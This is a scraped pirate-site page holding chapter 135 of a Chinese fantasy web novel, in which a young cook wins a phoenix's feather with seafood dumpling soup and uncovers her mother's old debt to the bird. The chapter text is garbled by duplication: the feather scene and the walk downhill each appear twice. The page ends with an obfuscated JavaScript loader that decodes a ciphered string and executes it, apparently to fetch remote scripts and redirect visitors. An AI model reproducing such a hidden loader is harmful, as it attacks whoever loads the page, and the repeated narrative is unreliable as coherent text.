首页
第135章 凤凰的“考验”
返回

第135章 凤凰的“考验”

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第135章凤凰的“考验”(第1/2页)
    林灼华仰着脖子喊完那句“凤凰大姐”,嗓子眼儿里灌进去半口火山灰,呛得她直咳嗽。她一边咳一边拿手扇风,那烟灰偏偏跟她作对,越扇越往脸上扑,搞得她一张脸黑一道白一道,活像刚从灶膛里钻出来的花猫。
    沈玉郎站在她身后,见她这副模样,忍不住笑了一声,随即又觉着不妥——毕竟头顶上蹲着只神兽,谁知道它脾气啥样。他赶紧收了笑,压低声音说:“你小心点——凤凰要是真发火,咱几个都不够它一翅膀扇的。”
    “你管俺呢。”林灼华头也不回,又朝火山口喊了一嗓子,“凤凰大姐!俺真是胶东来的!给您带了特产!您下来尝尝,不尝您后悔!”
    火山口里没有动静。
    阿绿缩在一块大石头后面,只露出一颗绿毛脑袋,声音发颤:“姑奶奶……它是不是不理咱?”
    “它不理俺,俺就上去找它。”林灼华说着,当真撸起袖子,就要往火山口爬。
    沈玉郎一把拽住她胳膊:“你疯了?那巢穴周围的热浪能把人烤熟!”
    “那你说咋办?总不能白跑一趟吧?”林灼华挣了两下没挣开,索性停下来瞪着他。
    沈玉郎被她瞪得头皮发麻,松开手,叹了口气:“你这不是带着锅吗?就在这儿做——凤凰嗅觉灵得很,你香味飘上去,它自己就下来了。”
    林灼华想了想,觉得这话在理。她放下背上的铁锅,又从包袱里摸出一把海米、半碗面粉和几根干海带,蹲在火山口的岩石上,开始生火架锅。
    她生火的手法极利落,捡了几块火山石垒成灶台,又掏出火折子引燃干柴。火苗舔着锅底,她往锅里倒了一瓢清水——这水还是从龙宫出来时顺的,清甜得很——然后揪着面团往锅里下疙瘩。
    她一边下疙瘩一边嘀咕:“俺娘说了,疙瘩汤要好吃,疙瘩得大小匀称,大了夹生,小了糊锅。俺这手艺,不能说比得上俺娘,起码能糊弄个七八成。”
    沈玉郎蹲在旁边看她,忍不住问:“你这汤里放海米干啥?”
    “提鲜。”林灼华头也不抬,“凤凰再神,它也长着嘴。只要是嘴,就好吃食。”
    阿绿吸了吸鼻子,汤的鲜味混着面香,顺着风往上飘。他咽了口唾沫,小声说:“姑奶奶……俺也饿了。”
    “忍着。先喂凤凰,再喂你。”
    汤滚了三滚,林灼华舀了一碗,端在手里,朝火山口方向举了举:“凤凰大姐——汤好了!您闻闻,鲜着呢!”
    火山口里沉默了片刻,忽然传出一声低沉的鸣叫。
    那叫声不响,却带着一股沉沉的分量,压得人心头一颤。紧接着,一团赤金色的影子从火山口里缓缓升起,翅膀展开时几乎遮住了半边天。
    沈玉郎下意识往后退了两步,阿绿直接“嗷”一声缩回石头后面,连脑袋都不敢露了。
    凤凰落下来,停在一块凸出的黑色岩石上,歪着头,一双金色的眼睛盯着林灼华手里的碗。
    林灼华这才看清凤凰的全貌——它比她想象中大得多,浑身羽毛赤金交错,尾羽拖得老长,每一根都像镀了层熔金,在火山口的红光里流光溢彩。唯独它的眼睛,不像传说中神兽该有的威严,反而带着一丝说不清的……倦意。
    凤凰低头,啄了一口碗里的汤。
    林灼华屏住呼吸,盯着凤凰的反应。
    凤凰咽下那口汤,愣了一瞬,随即又啄了一口,第三口,第四口……它吃得越来越快,最后索性把整个碗端起来,仰头喝了个干净。
    喝完,它把碗轻轻放回林灼华面前,金色眼睛里的倦意淡了些,多了一层说不清的神色。
    林灼华咧嘴笑了:“咋样?俺做的汤,不难喝吧?”
    凤凰没有回应。它低头看着空碗,沉默良久,忽然发出一声尖锐的鸣叫——那叫声里带着一股浓烈的悲愤,刺得人耳膜生疼。
    林灼华还没反应过来,凤凰猛地一甩翅膀,一股滚烫的气浪掀过来,直接把地上的铁锅连带着半锅汤掀飞出去。锅子“咣当”一声砸在岩石上,汤水泼了一地,滋滋冒着白烟。
    阿绿吓得从石头后面跳出来,连滚带爬地躲到沈玉郎身后:“它咋了!它咋突然发火了!”
    沈玉郎没说话。他正盯着凤凰,眼睛微微眯起,瞳孔里泛着一层淡淡的金芒——那是他天眼通开启时的征兆。凤凰周身的气息在他眼中化作一幅幅流动的画面,断断续续,却清晰得刺目。
    他看见一只雌凤,羽毛是柔和的月白色,正低头啄着一只粗糙的陶碗——碗里的汤,泛着同样的海鲜鲜香。雌凤身旁站着一个穿灰袍的人影,看不清面目,只隐约瞧见那人手里端着一只碗,正将汤一口一口喂到雌凤嘴边。
    雌凤喝了,温顺地蹭了蹭那人的手。
    然后画面一转——灰袍人消失了,雌凤倒在巢穴里,羽毛暗淡,气息微弱,身下压着一只碎了的陶碗。碗沿上还残留着汤渍,那鲜味,和刚才林灼华做的一模一样。
    沈玉郎猛地回过神,额头上沁出一层冷汗。
    他转头看向林灼华,声音发哑:“灼华……我看到了一些东西。”
    林灼华正蹲在地上捡锅,闻言抬起头:“啥东西?”
    沈玉郎咽了口唾沫,压低声音:“当年……有人用同样的汤,骗走了凤凰的伴侣。”
    林灼华的手顿住了。
    她低头看了看脚边泼洒的汤水,又抬头看了看凤凰——凤凰站在岩石上,翅膀微微垂着,金色眼睛里那股悲愤已经淡了,只剩下一种深深的、空落落的疲倦。
    它低头看了一眼地上的碎锅,发出一声低低的鸣叫,像是叹息,又像是自嘲。
    林灼华站在原地,沉默了很久。
    沈玉郎以为她会骂骂咧咧地怪凤凰不识好歹,但她没有。她只是弯下腰,把碎锅捡起来,又摸出剩下的半碗面粉和海米,重新架起灶台,生火,烧水,下疙瘩,放海米,撒盐。
    动作比刚才慢了一些,却更稳了。
    水滚了三滚,她舀出一碗新汤,没有端给凤凰,而是自己先喝了一口。
    烫得她直吸凉气,但她没吐,硬是咽了下去,然后端着碗走到凤凰面前,把碗往前一推。
    她仰着脸,语气里带着一股山东丫头特有的直愣劲儿:“俺不知道当年是谁拿汤骗了你家那口子——俺也不替他辩啥。但俺这碗汤,是俺自己做的,俺自己先喝了,没毒,也没掺别的心思。”
    凤凰低头看着她。
    她又补了一句:“这回俺陪你喝。”
    凤凰沉默了很久。
    火山口的风呼呼地吹,吹得她的丸子头散了一半,碎发糊在脸上,她也顾不上理,就那么举着碗,站在凤凰面前,不躲不退。
    半晌,凤凰低头,轻轻啄了一口碗里的汤。
    然后它抬起头,看了林灼华一眼,忽然一甩尾羽——一根赤金色的羽毛脱尾而出,打着旋儿落在她脚边。
    凤凰转身,振翅飞回火山口,缩进巢穴里,再没出来。
    林灼华弯腰捡起那根羽毛,入手滚烫,像攥着一团火。她翻过来一看,羽根处刻着一行小字,笔画纤细,像是用针尖一点一点刻上去的——引眉欠我一命。
    她愣住了,把那行字反复看了三遍,确认没看错,才转过头,冲沈玉郎晃了晃羽毛:“你看这上头写的啥?”
    沈玉郎凑过来一看,脸色变了:“引眉……欠它一命?”
    “引眉欠我一命。”林灼华一个字一个字地念出来,眉头拧成一团,“引眉血脉……引眉一脉……这说的,是俺们家的事?”
    那凤凰像是被她那句话烫着了,喉咙里发出一声极低的、沙哑的鸣叫,尾羽轻轻扫过地面,溅起几点火星。它盯着林灼华,眼神里那点警惕和敌意,慢慢化成一种说不清道不明的情绪。
    沈玉郎站在旁边,天眼微微泛着金光。他看见凤凰的记忆碎片飘散在空气中,像被风吹碎的旧画——一片海边的礁石,一个穿粗布衣裳的年轻女子,蹲在一口黑锅前,搅动着汤水。凤凰就卧在她身边,紧紧挨着她的胳膊。那女子把碗递到凤凰嘴边,凤凰低头啄了一口,嗓子里发出一声极轻的、像是撒娇一样的低鸣。
    “那是你娘?”林灼华问。
    凤凰不答,眼神却暗了一下。沈玉郎低声说:“它伴侣……也是被她娘带走的。用一碗汤,引走了,再没回来。”
    林灼华愣在原地,好半天没说话。
    她想起娘亲留在引眉刃里的那封信,想起茶婆说“你娘是个好人”,想起一路上每个人提起她娘时那种又敬又叹的神情。她娘是个好人,但好人做过的事,未必件件都妥帖。引眉欠凤凰一条命,欠了二十年,欠到她站在这火山口上,替她娘还这一碗汤的债。
    她没说话,弯腰把地上的碎碗片捡起来,拢到一边,又从包袱里摸出一口干净的小锅,架在火上。这次她动作很慢,每一下都稳稳当当的——舀水,和面,搅汤,撒盐,不慌不忙。火苗舔着锅底,汤水咕嘟咕嘟冒泡,面疙瘩在翻滚的水花里浮起来,一粒一粒,像碎玉。
    沈玉郎想上前帮忙,林灼华摆了摆手:“这回俺自己来。”
    她盛了一碗,自己先喝了一口。汤还烫着,她抿着嘴唇,喉咙里热辣辣的,也不知道是汤烫的,还是别的什么堵着嗓子眼。她端着那碗汤,走到凤凰面前,蹲下来,把碗轻轻搁在它脚边。
    “俺娘当年欠你的,俺替她还不清——但这一碗,俺陪你喝。”
    凤凰低头,看了看那碗汤,又看了看林灼华。她蹲在它面前,黑瘦结实,丸子头乱蓬蓬的,腰后别着把菜刀,模样跟当年那个穿粗布衣裳的女子有几分像,却又不太像。那女子当年端汤给凤凰伴侣时,眼里带着笑,笑得温柔又笃定;而眼前这个丫头蹲在它面前,眼里带着一股子不撞南墙不回头的倔劲儿。
    (本章未完,请点击下一页继续阅读)第135章凤凰的“考验”(第2/2页)
    沉默了很久。久到林灼华觉得那碗汤大概要凉透了。
    凤凰忽然低下头,轻轻啄了一口碗里的汤。然后它抬起头,看了林灼华一眼,忽然一甩尾羽——一根赤金色的羽毛脱尾而出,打着旋儿落在她脚边。凤凰转身,振翅飞回火山口,缩进巢穴里,再没出来。
    林灼华把那根羽毛翻过来,羽根处刻着一行小字,笔画纤细,像是用针尖一点一点刻上去的——引眉欠我一命。
    她愣住了,把那行字反复看了三遍,确认没看错,才转过头,冲沈玉郎晃了晃羽毛:“你看这上头写的啥?”
    沈玉郎凑过来一看,脸色变了:“引眉……欠它一命?”
    “引眉欠我一命。”林灼华一个字一个字地念出来,眉头拧成一团,“引眉血脉……引眉一脉……这说的,是俺们家的事?”
    沈玉郎沉默了一会儿,从怀里掏出那本祖上手记,翻了几页,指着其中一行小字念道:“引眉之兴,起于东海,以汤引灵兽,以血契天地……你娘当年,恐怕就是用这碗汤,跟凤凰一族立过什么契约。”
    林灼华攥着那根羽毛,手心滚烫。她抬起头,望向火山口——凤凰缩在巢穴里,只露出一截赤金色的尾羽,在浓烟中若隐若现。汤的滋味还在她唇齿间打转,混着火山口的硫磺气,说不清是苦还是涩。
    她把手里的羽毛小心地收进怀里,贴着胸口放好,然后冲着那个巢穴的方向,大声喊了一句:“凤凰大姐——俺娘欠你的,俺记下了!”
    火山口里安静了一瞬,然后传来一声极轻的鸣叫,像是回应,又像是叹息。
    沈玉郎低声问:“你……打算怎么还?”
    林灼华把菜刀在腰后别了别,拍了拍怀里的羽毛,咧嘴一笑:“俺娘欠的命,俺还不了——但俺可以欠着。欠着,才有来往;有来往,才有还清的那一天。”
    她转身,踩着火山灰往山下走,脚步又稳又快。沈玉郎愣了一下,快步跟上去:“你这就走了?”
    “不走还等着凤凰请俺吃晚饭?”林灼华头也不回,“鲛人泪、凤凰羽都到手了,还差最后一盏灯——麒麟角。俺师父还在无间狱里饿着肚子呢。”
    沈玉郎叹了口气,认命地跟在她后头,嘴里嘟囔:“我早说了别惹事……你倒好,不光惹了凤凰,还惹了一笔二十年的旧账。”
    “你管俺呢。”林灼华的声音从山道下传来,混着风声,带着一股子说不清道不明的笑,“旧账怕啥——俺娘留下的旧账越多,说明俺娘当年活得越热闹。俺替她还,总比她一个人欠着强。”
    林灼华踩着火山灰往山下走,脚步又稳又快。沈玉郎愣了一下,快步跟上去:“你这就走了?”
    “不走还等着凤凰请俺吃晚饭?”林灼华头也不回,“鲛人泪、凤凰羽都到手了,还差最后一盏灯——麒麟角。俺师父还在无间狱里饿着肚子呢。”
    沈玉郎叹了口气,认命地跟在她后头,嘴里嘟囔:“我早说了别惹事……你倒好,不光惹了凤凰,还惹了一笔二十年的旧账。”
    “你管俺呢。”林灼华的声音从山道下传来,混着风声,带着一股子说不清道不明的笑,“旧账怕啥——俺娘留下的旧账越多,说明俺娘当年活得越热闹。俺替她还,总比她一个人欠着强。”
    她说完这句话,脚步却没再加快,反倒慢了下来。沈玉郎赶上她,发现她正低头盯着手里的凤凰羽,眉头拧成一团。
    “咋了?”沈玉郎凑过去,“羽毛有问题?”
    林灼华没说话,把凤凰羽举到眼前。金灿灿的羽毛在阳光下泛着流光,羽根处那行小字她方才已经看过了——“引眉欠我一命”。但此刻再细看,她发现小字旁边还有一行更细的刻痕,像是用爪子尖一点点划出来的,笔画歪歪扭扭,几乎要跟羽毛的纹理融在一起。
    她眯着眼,一个字一个字地辨认:“汤……是……她……教……的……”
    “啥意思?”沈玉郎也凑过来看。
    林灼华沉默了一会儿,把羽毛收进怀里,说:“这汤——是俺娘教那只凤凰的。”
    沈玉郎愣了:“你娘教凤凰做汤?”
    “不是做汤。”林灼华摇摇头,“是那碗海鲜疙瘩汤的味道——是俺娘当年做给凤凰吃的。凤凰记住了这个味儿,才在巢穴里等了二十年。”
    她说着,声音低下去:“结果等来的是俺。”
    沈玉郎张了张嘴,想说什么,又咽回去了。两人沉默地走了一段山路,林灼华忽然停下来,一屁股坐在路边的石头上,掏出那根凤凰羽,又看了一遍。
    “沈玉郎,”她说,“你说俺娘当年到底欠了那只凤凰啥?”
    沈玉郎在她旁边坐下,想了想,说:“你娘的事,我哪知道。但你娘能让一只凤凰记二十年——怕是没欠啥,是那只凤凰记了她一辈子。”
    林灼华没接话,把凤凰羽收好,站起身来:“走吧,麒麟角还没影呢。俺师父可等不了太久。”
    沈玉郎叹了口气,跟在她后头:“你这人,心里有事从来不直说。”
    “你管俺呢。”林灼华头也不回,但声音里那股子笑,又冒出来了。
    两人下了火山,回到阿绿、林灼霜他们等着的山脚营地。阿绿正蹲在溪边啃干粮,看见林灼华回来,眼睛一亮:“姑奶奶!凤凰羽拿到了?”
    林灼华掏出凤凰羽晃了晃:“拿到了。”
    阿绿正要欢呼,又看见林灼华脸上那副若有所思的神色,缩了缩脖子,小声问:“姑奶奶,你咋了?凤凰没为难你吧?”
    “没。”林灼华把凤凰羽收好,“凤凰给得痛快——就是俺心里有点不痛快。”
    林灼霜走过来,看了看林灼华的神色,没多问,只递过来一杯水:“喝口水,歇歇再说。”
    林灼华接过水,喝了半杯,忽然说:“姐,你知不知道俺娘当年做过一碗海鲜疙瘩汤?”
    林灼霜一愣:“海鲜疙瘩汤?”
    “对。”林灼华把凤凰巢穴里的事说了一遍,说到羽毛上那行小字时,林灼霜的眉头也皱了起来。
    “引眉欠我一命……”林灼霜念叨着这几个字,忽然说,“你娘当年确实救过一只凤凰——我听师父提过一嘴,说她年轻的时候,在东海边捡到一只受伤的凤凰,喂了它一碗汤,凤凰才活过来。”
    林灼华愣了:“那凤凰为啥说俺娘欠它一条命?”
    林灼霜摇摇头:“师父没说细——他只说你娘后来离开东海的时候,那只凤凰追了她三天三夜,你娘没回头。”
    林灼华攥紧凤凰羽,低头看了半天,忽然说:“俺娘没回头——是因为她知道自己要补天,回不了头。但那只凤凰不知道,它以为俺娘是抛下它走了。”
    林灼霜没接话,只伸手拍了拍林灼华的肩膀。
    林灼华把凤凰羽收进怀里,抬头看了一眼火山的方向,说:“姐,俺想回去一趟。”
    林灼霜说:“回去干啥?”
    林灼华说:“俺想告诉那只凤凰——俺娘没抛下它,俺娘是去补天了。她补完天,想回来找它,但没来得及。”
    林灼霜沉默了一会儿,说:“那你得想清楚——那只凤凰等了二十年,你告诉它你娘死了,它未必受得了。”
    林灼华说:“俺知道。但俺不能让它一直等着——等一个再也回不来的人,比知道真相还难受。”
    她说完,转身就往火山的方向走。沈玉郎在身后喊:“你疯了?刚下来又要上去!”
    林灼华头也不回:“你管俺呢!”
    她一路跑回火山口,凤凰巢穴还在那里,那只金羽凤凰正缩在巢里,像是已经睡下了。但林灼华刚站定,它就睁开了眼,看着她,目光里带着一丝不解。
    林灼华喘着气,站在巢穴前,说:“凤凰大姐——俺回来,是想跟你说句话。”
    凤凰歪了歪头。
    林灼华深吸一口气,说:“俺娘没抛下你。她当年离开东海,是去补天了。她补完天,想回来找你——但她没能回来。”
    凤凰的瞳孔猛地一缩,鸣叫了一声,带着一丝尖锐的颤抖。
    林灼华继续说:“俺不知道你信不信——但俺娘这辈子,最不会的事就是抛下别人。她要是能回来,她一定会回来。”
    凤凰盯着她看了很久,久到林灼华以为自己要被它一口火喷下山去,它忽然低下头,用喙轻轻碰了碰林灼华的手心。
    那里还攥着那根凤凰羽。
    凤凰轻轻鸣叫了一声,声音低低的,像是叹息。然后它转身缩回巢里,不再看她。
    林灼华站在巢穴前,低头看着手里的凤凰羽,羽根处那行小字在阳光下微微发亮——“引眉欠我一命”。
    她忽然明白,这行字不是怨,是念。是那只凤凰用二十年时光,刻下的三个字:我等你。
    她把凤凰羽收进怀里,轻声说:“凤凰大姐,俺替俺娘跟你说一声——她没回来,但她没忘了你。俺来了,俺吃了你等的那碗汤——那汤的味道,俺记住了。”
    凤凰没有回应,但巢穴深处传来一声低低的咕噜声,像是睡梦中的呢喃。
    林灼华转身下山,走了几步,又回头看了一眼。火山口安静得像什么都没发生过,只有那根凤凰羽在她怀里,微微发烫。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();